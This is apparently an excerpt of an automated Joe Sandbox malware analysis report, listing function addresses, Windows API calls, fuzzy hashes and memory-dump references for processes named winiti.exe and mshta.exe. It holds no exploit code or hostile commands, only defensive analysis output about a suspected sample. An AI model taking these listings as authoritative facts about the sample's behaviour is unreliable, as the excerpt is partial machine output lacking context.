Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: a762ba7bdb9e68b543346d8befee5f14f7d2aaaa5ecc6a7732aa10b9ae04d0ef
Instruction ID: 115b119365221caf15a79ee139665874aa6690dd15874f8290ee5322045a383e
Opcode Fuzzy Hash: a762ba7bdb9e68b543346d8befee5f14f7d2aaaa5ecc6a7732aa10b9ae04d0ef
Instruction Fuzzy Hash: 8E31C532A01B4482EA259F95A1487DDF7E4F796B98F08013CEF49477D9CF78CA468340

Function 000000013FDDAD00 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

WaitForMultipleObjectsEx.KERNEL32 ref: 000000013FDDAD34
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013FDD6431), ref: 000000013FDDAD3E
CoWaitForMultipleHandles.OLE32 ref: 000000013FDDAD5D
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013FDD6431), ref: 000000013FDDAD71

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ErrorLastMultipleWait$HandlesObjects
String ID:
API String ID: 2817213684-0
Opcode ID: 1b63c40e6d013145cedae492ad8f21b5e2360a6dd9ad6664cb5addbe83128acf
Instruction ID: 49ec30e371c030a354f532bd614b9db0f405832a83b4992f8126cafa3ca7afdd
Opcode Fuzzy Hash: 1b63c40e6d013145cedae492ad8f21b5e2360a6dd9ad6664cb5addbe83128acf
Instruction Fuzzy Hash: 31118232A08A5483D7244B6AB40435AB7A5FB44795F14413DFEC947BE5DF38C6428B40

Function 000000013FE3955C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000013FE39588
GetCurrentThreadId.KERNEL32 ref: 000000013FE39596
GetCurrentProcessId.KERNEL32 ref: 000000013FE395A2
QueryPerformanceCounter.KERNEL32 ref: 000000013FE395B2

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: efb2c1910f7fe4eb1fdb9db6ef462f9c960acadc62b879df81811dfe8f91f112
Instruction ID: 31028eb2359e75b63a3022b5c6168ecf75a32af80d7fb7f1a30c0e27b1f87b84
Opcode Fuzzy Hash: efb2c1910f7fe4eb1fdb9db6ef462f9c960acadc62b879df81811dfe8f91f112
Instruction Fuzzy Hash: 2711E836B11B048AEB009F71E8553E933A4F759BA8F441A35EF6D867A4EF78C1958340

Function 000000013FE3A8E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,000000013FE39A6B), ref: 000000013FE3A930
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000000013FE39A6B), ref: 000000013FE3A971

Strings

csm, xrefs: 000000013FE3A95E

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: aa4e29ff740041cbb66bd2c147c1e0abea6c0f4e7f03852bd6b62dcdd7bd4198
Instruction ID: 898eb3db3ab716e6f69f385de511f4da01fc39c2c03eecf41231e21ab87eb2ba
Opcode Fuzzy Hash: aa4e29ff740041cbb66bd2c147c1e0abea6c0f4e7f03852bd6b62dcdd7bd4198
Instruction Fuzzy Hash: 70112B36614B8482EB618F25F44439977E5F788B94F594239DF8C57B68DF38C6528B00

Function 000000013FDF3E10 Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,000000013FDF3F8F,?,?,?,000000013FE0025A), ref: 000000013FDF3E5A
LeaveCriticalSection.KERNEL32(?,?,00000000,000000013FDF3F8F,?,?,?,000000013FE0025A), ref: 000000013FDF3E9C
EnterCriticalSection.KERNEL32(?,?,00000000,000000013FDF3F8F,?,?,?,000000013FE0025A), ref: 000000013FDF3EC7
LeaveCriticalSection.KERNEL32(?,?,00000000,000000013FDF3F8F,?,?,?,000000013FE0025A), ref: 000000013FDF3EE8

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 76d884de7bf17c7811e84ddf0ad67568b996faf9851ca8ebb35a4ad0458fe3ff
Instruction ID: 54c7539f169c7a4b23b867fec7a10be4e48d413712afd09cf844683ceacd9fe7
Opcode Fuzzy Hash: 76d884de7bf17c7811e84ddf0ad67568b996faf9851ca8ebb35a4ad0458fe3ff
Instruction Fuzzy Hash: 5A211D71A14A0581EA53DF26EDC43E623B0EB193E0F881239E629476F5DB7DC69AC300

Analysis Process: mshta.exePID: 3828, Parent PID: 564COMMON

Executed Functions

Function 03000FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.473025678.0000000003000000.00000010.00000800.00020000.00000000.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_3000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 28386c967f9631685869d8790586bd37d486a07ae1dbea4e103c843acdc23c49
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Function 03000FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000003.473025678.0000000003000000.00000010.00000800.00020000.00000000.sdmp, Offset: 03000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_3000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 28386c967f9631685869d8790586bd37d486a07ae1dbea4e103c843acdc23c49
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Analysis Process: winiti.exePID: 4076, Parent PID: 3936COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	912
Total number of Limit Nodes:	26

Executed Functions

Function 000000013F5F5760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013F5FB020: FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,000000013F5F576B), ref: 000000013F5FB02B
Part of subcall function 000000013F5FB020: QueryInformationJobObject.KERNEL32 ref: 000000013F5FB0FE

Part of subcall function 000000013F5FAEC0: GetModuleHandleExW.KERNEL32(?,?,?,?,000000013F5F3819), ref: 000000013F5FAED1

RtlAddVectoredExceptionHandler.NTDLL ref: 000000013F5F57D8

Part of subcall function 000000013F5FD7B0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 000000013F5FD8AD

Strings

StressLogLevel, xrefs: 000000013F5F5832
TotalStressLogSize, xrefs: 000000013F5F57F9

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: AllocExceptionHandleHandlerInformationModuleObjectQueryVectored_wcsicmp
String ID: StressLogLevel$TotalStressLogSize
API String ID: 2876344857-4058818204
Opcode ID: b8dcc97092589a3276693584986118e267024c8b20105f4c83ed43bccf9c10d3
Instruction ID: 24b4dd3771dca8d0ee0ffc585fa9c8cca617629fed13a26e2f0b721e2424645b
Opcode Fuzzy Hash: b8dcc97092589a3276693584986118e267024c8b20105f4c83ed43bccf9c10d3
Instruction Fuzzy Hash: 12418F32E20B40C2FA45AF20E4057D97791EB81788F5950B9EE491B69ADB74DB0FC780

Function 000000013F602260 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000000013F6022CE
IsProcessInJob.KERNEL32 ref: 000000013F6022DE
QueryInformationJobObject.KERNEL32 ref: 000000013F60230E
GlobalMemoryStatusEx.KERNEL32 ref: 000000013F602377
GlobalMemoryStatusEx.KERNELBASE ref: 000000013F6023BE
GlobalMemoryStatusEx.KERNELBASE ref: 000000013F602435

Strings

@, xrefs: 000000013F6023B3
@, xrefs: 000000013F60235F
@, xrefs: 000000013F60242A

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: GlobalMemoryStatus$Process$CurrentInformationObjectQuery
String ID: @$@$@
API String ID: 2645093340-1177533131
Opcode ID: ca88b2e47b65645c36c042b4dc4072e1c75f948b70b361a8b6e96ed663280510
Instruction ID: 46e77daee8be629534e7fbb8e4f7f9b7c1e76057e2711fbd4e5fd337285e7d02
Opcode Fuzzy Hash: ca88b2e47b65645c36c042b4dc4072e1c75f948b70b361a8b6e96ed663280510
Instruction Fuzzy Hash: 52514F71709AD0C6EB758F15E4553DAB7A0F788B90F544139CAAE53B98CF7CC5468B00

Function 000000013F6026B0 Relevance: 10.6, APIs: 7, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,000000013F5FB04A), ref: 000000013F6026BF
GetNumaHighestNodeNumber.KERNEL32 ref: 000000013F6026FD
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F5FB04A), ref: 000000013F602729
GetProcessGroupAffinity.KERNEL32 ref: 000000013F60273A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F5FB04A), ref: 000000013F602749
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F5FB04A), ref: 000000013F6027E0
GetProcessAffinityMask.KERNEL32 ref: 000000013F6027F3

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Process$AffinityCurrent$ErrorGroupHighestInfoLastMaskNodeNumaNumberSystem
String ID:
API String ID: 580471860-0
Opcode ID: 19b53f92ddd9a9a7ef10cbccfe69bfe921807fcdb46f8766bab15c0bbd7aa85f
Instruction ID: f9540d22c785dbdc9a25028f9203d8efec715113c337322d56a6f854b2d091be
Opcode Fuzzy Hash: 19b53f92ddd9a9a7ef10cbccfe69bfe921807fcdb46f8766bab15c0bbd7aa85f
Instruction Fuzzy Hash: 4751DFB2A18749C7EB448F19E9493D877B1FB49B84F94003AD94E87369EB38C647CB00

Function 000000013F5FB020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,000000013F5F576B), ref: 000000013F5FB02B

Part of subcall function 000000013F6026B0: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,000000013F5FB04A), ref: 000000013F6026BF
Part of subcall function 000000013F6026B0: GetNumaHighestNodeNumber.KERNEL32 ref: 000000013F6026FD
Part of subcall function 000000013F6026B0: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F5FB04A), ref: 000000013F602729
Part of subcall function 000000013F6026B0: GetProcessGroupAffinity.KERNEL32 ref: 000000013F60273A
Part of subcall function 000000013F6026B0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F5FB04A), ref: 000000013F602749

Part of subcall function 000000013F5FD7B0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 000000013F5FD8AD

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,000000013F5F576B), ref: 000000013F5FB09A
GetProcessAffinityMask.KERNEL32 ref: 000000013F5FB0AD
QueryInformationJobObject.KERNEL32 ref: 000000013F5FB0FE

Strings

PROCESSOR_COUNT, xrefs: 000000013F5FB066

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Process$AffinityCurrent$AllocErrorGroupHighestInfoInformationLastMaskNodeNumaNumberObjectQuerySystem_wcsicmp
String ID: PROCESSOR_COUNT
API String ID: 296690692-4048346908
Opcode ID: f854a702a83dc01c41646339c6b0099762c4a12ee8e6a0d15d954c5e394c61ba
Instruction ID: 97937c418a6d1e838c490c97c64156e8508b87ca622e6b1581f65ea1081cccfa
Opcode Fuzzy Hash: f854a702a83dc01c41646339c6b0099762c4a12ee8e6a0d15d954c5e394c61ba
Instruction Fuzzy Hash: 7331BE72E04B42D6EB149B54D8853EEB7A1FB84798F50007DD69A47BA9DB28CB0FC700

Function 000000013F5F6620 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000000013F5F66D5
RaiseFailFastException.KERNEL32 ref: 000000013F5F6701
RaiseFailFastException.KERNEL32 ref: 000000013F5F673A

Strings

Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code., xrefs: 000000013F5F6726

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastRaise$Sleep
String ID: Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code.
API String ID: 3706814929-926682358
Opcode ID: 748c09927475cf9e349a911d070e2e85ba1b369a78d20386409e9d4058d69fe5
Instruction ID: 5ba1d3ff431d12d2f5f7c456d578d84fd6b68bfad20517711a6d75d934684790
Opcode Fuzzy Hash: 748c09927475cf9e349a911d070e2e85ba1b369a78d20386409e9d4058d69fe5
Instruction Fuzzy Hash: F4411B32A12B48C6EB949F29F4543E933E0E704B84F04817EDA4D477A5DF39C65AC740

Function 000000013F5FB320 Relevance: 6.0, APIs: 4, Instructions: 26
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 000000013F5FB341
SetThreadPriority.KERNELBASE ref: 000000013F5FB35D
ResumeThread.KERNELBASE ref: 000000013F5FB366
CloseHandle.KERNELBASE ref: 000000013F5FB36F

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Thread$CloseCreateHandlePriorityResume
String ID:
API String ID: 3633986771-0
Opcode ID: 43130a00a2952a497caba751cbab80e0c5945ae47426b9584871a3a1cc0fd745
Instruction ID: c53476090daabfae27d130beb6d721c57b5ae109c99f7870010b57cb7166dc4f
Opcode Fuzzy Hash: 43130a00a2952a497caba751cbab80e0c5945ae47426b9584871a3a1cc0fd745
Instruction Fuzzy Hash: 78E06DB9A0070182EB149F26A81A3A56750AB98B85F08443CCD5A067A1EE3C82878600

Function 000000013F602080 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000000013F6020B7
GlobalMemoryStatusEx.KERNELBASE ref: 000000013F60217C

Strings

@, xrefs: 000000013F602174

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CurrentGlobalMemoryProcessStatus
String ID: @
API String ID: 3261791682-2766056989
Opcode ID: 9126c160c7f3f8a979c28d89de266492a2cb26c761d1c6b8a32731156d037bec
Instruction ID: 0aaeed6543946ea420c5b98141c189bb6de4886310ad8f718cc2790efbebf161
Opcode Fuzzy Hash: 9126c160c7f3f8a979c28d89de266492a2cb26c761d1c6b8a32731156d037bec
Instruction Fuzzy Hash: F8417DB1B09B4681F956CB36925639992627F59BC0F28C339AF0F77744FB38C5938600

Function 000000013F621660 Relevance: 5.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00000000,000000013F60D516,?,-8000000000000000,00000001,000000013F61C6D6), ref: 000000013F6216EA
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,000000013F60D516,?,-8000000000000000,00000001,000000013F61C6D6), ref: 000000013F621759
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,000000013F60D516,?,-8000000000000000,00000001,000000013F61C6D6), ref: 000000013F6217A2
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,000000013F60D516,?,-8000000000000000,00000001,000000013F61C6D6), ref: 000000013F6217B8

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0430e5036a9640feed12229f19debff97727073d71a72808b7631fa93863536e
Instruction ID: 90755c36d04ddddf8d24133ceef858c364a41517e52814bfdd1321a1213404bf
Opcode Fuzzy Hash: 0430e5036a9640feed12229f19debff97727073d71a72808b7631fa93863536e
Instruction Fuzzy Hash: 46517DB6A08A41D2EB25CF11E8853E877B0F745794F58023ADA9D13AAADB38C757C300

Function 000000013F6304D0 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,00000001,000000013F61DA29), ref: 000000013F630510
LeaveCriticalSection.KERNEL32(?,00000000,00000001,000000013F61DA29), ref: 000000013F630586
EnterCriticalSection.KERNEL32(?,00000000,00000001,000000013F61DA29), ref: 000000013F6305DE
LeaveCriticalSection.KERNEL32(?,00000000,00000001,000000013F61DA29), ref: 000000013F630604

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 49907da951615bb056f4715dd605aad2ff44e51d4236cc1df112cb9915273893
Instruction ID: 0f350382378466a648f7f53d518fc2d54cce49ea93ec0083c0e8839865ab0b89
Opcode Fuzzy Hash: 49907da951615bb056f4715dd605aad2ff44e51d4236cc1df112cb9915273893
Instruction Fuzzy Hash: 6D4192B1E08A14E2FA25DF10E9863E927B4F755798F54403ED9CA462B6DB78C64BC310

Function 000000013F60CF30 Relevance: 4.7, APIs: 3, Instructions: 195
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SwitchToThread.KERNEL32 ref: 000000013F60D012
SwitchToThread.KERNEL32 ref: 000000013F60D01B

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
